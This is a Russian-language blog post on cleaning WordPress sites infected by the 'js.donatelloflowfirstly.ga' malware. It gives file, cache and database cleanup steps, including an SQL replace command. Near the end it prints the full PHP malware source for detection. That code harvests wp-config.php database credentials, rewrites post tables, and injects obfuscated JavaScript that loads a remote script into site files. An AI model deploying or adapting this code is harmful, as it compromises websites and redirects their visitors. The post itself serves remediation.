WordPressЗащита от вирусов

Как удалить заражение сайта «js.donatelloflowfirstly.ga» из WordPress | Мэтью Ма

Как удалить заражение сайта «js.donatelloflowfirstly.ga» из Wordpress | Мэтью Ма

Как это устроено

Новый вирус из домена «js.donatelloflowfirstly.ga» в наши дни заражает многие сайты WordPress, вводя строку JS-кода в файлы тем / плагинов WordPress, а также во все сообщения и страницы с помощью команды sql. Вирус будет перенаправлять сайты на вредоносные домены, такие как blackwaterforllows.ga, donatelloflowfirstly.ga и blackwaterforllows.ga.

<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>

На данный момент нет никаких подсказок, как это произошло, и единственный способ – очистить его вручную! Вот мои шаги:

1: Первый шаг

Очень важно. Сначала отключите функцию CDN, и вам нужно включить предложение Memcached / Redis, если вы используете их с хостингом VPS.

2: Основной шаг

1): проверьте свою корневую папку / public_html через Cpanel, или вы можете управлять файлами с другой панелью, если ваши сайты работают на VPS. Найдите и удалите новый созданный файл вредоносной программы. В большинстве случаев файл с именем _a или _t или lte_. У файла нет расширения.

2): удалить все кэшированные файлы. Многие сайты WordPress используют плагины кеширования, просто удалите их, так как многие кешированные файлы тоже могут быть инфицированы. Обычно кешированные файлы находятся в папке wp-content.


3. Чистая база данных

Войдите в Phpmyadmin через Cpanel или другие панели, щелкните базу данных сайта и выполните следующую команду SQL:

UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>", ''));

4: Очистка от вируса основных файлов

Есть много способов очистить ваши файлы wordpress. Вот мой путь:

1): заархивируйте все файлы сайта и загрузите zip-файл на рабочий стол.

2): разархивируйте файлы в папку «waikey», например.

3): Расположите в папке wp-content / plugins и удалите все плагины. Затем замените чистыми плагинами в папку. То же самое с файлами тем, удалите все темы и замените их чистыми.

5): Теперь запустите редактор VSCode, вы можете скачать его по адресу: https://code.visualstudio.com/ и установите.

6): откройте папку waikey (пример) через VSCode, затем нажмите Edit> Search in the files для поиска по ключевым словам: donatelloflowfirstly. Должно быть найдено только несколько файлов, поскольку мы удалили все кэшированные файлы и заменили все темы и плагины. Отредактируйте эти файлы, если знаете, как это сделать, или просто замените их чистыми файлами.

7): Пока все файлы чистые. Удалите весь сайт и загрузите чистую резервную копию в папку сайта. Теперь ваш сайт должен быть в порядке.

Есть еще один способ очистить файл, если вы можете войти в админ панель сайта. Установите плагин Wordfence и просканируйте его целиком. Wordfence обнаружит эти внедренные файлы, просто отредактируйте их или замените чистыми файлами.


5. Резервное копирование вашего сайта

Протестируйте свой сайт, теперь все должно быть в порядке, если вы выполнили указанные выше действия. Теперь вы можете повторно активировать CDN, включить memcached или redis.
Создавайте резервные копии ваших чистых файлов сайта и базы данных, и делайте резервную копию каждый раз, когда вы публикуете новую статью или другие работы, поскольку люди до сих пор не знают, где находится бэкдор и как его исправить.

Как я уже сказал, люди до сих пор не знают, где находится бэкдор и как он генерирует / загружает файл вредоносной программы, но, скорее всего, это из Nulled Plugin & Themes. Поэтому лучше удалить все темы и плагины, которые вы скачали с сайтов Warez, и купить официальную версию, если они вам нужны. И ПОМНИТЕ о резервном копировании вашего сайта и базы данных.


Проверьте исходный код вредоносного файла js.donatelloflowfirstly.ga. Файл будет искать определенные файлы и вводить код JS, а также запускать команду SQL, чтобы ввести код для публикации и страниц.

Так же ищите файлы которые содержат данный код:

<!--?php echo "ssqqss>>>"; error_reporting(E_ALL); ini_set('display_errors',1); search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php"); die(); function get_var_reg($pat,$text) { if ($c = preg_match_all ("/".$pat."/is", $text, $matches)) { return $matches[1][0]; } return ""; } function search_file_ms($dir,$file_to_search){ $search_array = array(); $files = scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_ms( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_ms( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false) { show_sitenames($path); } } else if($value != "." && $value != "..") { @search_file_ms($path, $file_to_search); } } } function show_sitenames($file){ $content = @file_get_contents($file); if(strpos($content, "DB_NAME") !== false) { $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content); $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content); $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content); $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content); // Create connection $conn = new mysqli($host, $user, $pass); // Check connection if ($conn->connect_error) { } else { $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) { while($row2 = $result2->fetch_assoc()) { $val = $row2['post_content']; if(strpos($val, "js.donatelloflowfirstly.ga") === false){ if(strpos($val, "js.donatelloflowfirstly.ga") === false){ $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20src%3D'https%3A%2F%2Fjs.donatelloflowfirstly.ga%2Fstat.js%3Fn%3Dns1'%20type%3D'text%2Fjavascript'%3E%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" ?-->\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'"; $conn->query($q3); echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]; } else { } } } } else { } } } else { } $conn->close(); } } } function search_file($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it($path); } }else if($value != "." && $value != "..") { search_file($path, $file_to_search); } } } function search_file_index($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { search_file_index( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { search_file_index( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it_index($path); } }else if($value != "." && $value != "..") { search_file_index($path, $file_to_search); } } } function search_file_js($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_js( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_js( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) { make_it_js($path); } }else if($value != "." && $value != "..") { search_file_js($path, $file_to_search); } } } function make_it_js($f){ $g = file_get_contents($f); if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) { } else { $l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "js:".$f."\r\n"; } } function make_it_index($f){ if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false || strpos($g, 'js.donatelloflowfirstly.ga') !== false) { } else { $l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "in:".$f."\r\n"; } } function make_it($f){ $g = file_get_contents($f); if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) { } else { $l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>"; if (strpos($g, '') !== false) { $b = str_replace("","".$l2,$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); echo "hh:".$f."\r\n"; } if (strpos($g, '') !== false) { $b = str_replace("",$l2."",$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); echo "hh:".$f."\r\n"; } } }

ПОМНИТЕ делать резервную копию вашего сайта и базы данных каждый раз, когда вы публикуете статью в эти дни.
Появление данного вируса заставляет задуматься и над покупкой таких плагинов как WordFence (спасибо за совет подписчику блога Игорю Рекуненко). Или ему подобных решений о оторых я постараюсь написать в ближайшее время.

Эта статья была впервые размещена в блоге: https://www.waikey.com/vps-tutorials/remove-js-donatelloflowfirstly-ga/

Источник записи: https://medium.com

Похожие сообщения
ElementorWordPressПлагины

Elementor - Как создать мега меню с помощью дополнений Elementor и Plus

WordPressWordPress темы

20+ лучших женских тем WordPress 2020

WordPress

Как исправить ошибку загрузки изображения WordPress

WordPress

Как узнать какую тему использует сайт на WordPress? (3 быстрых способа)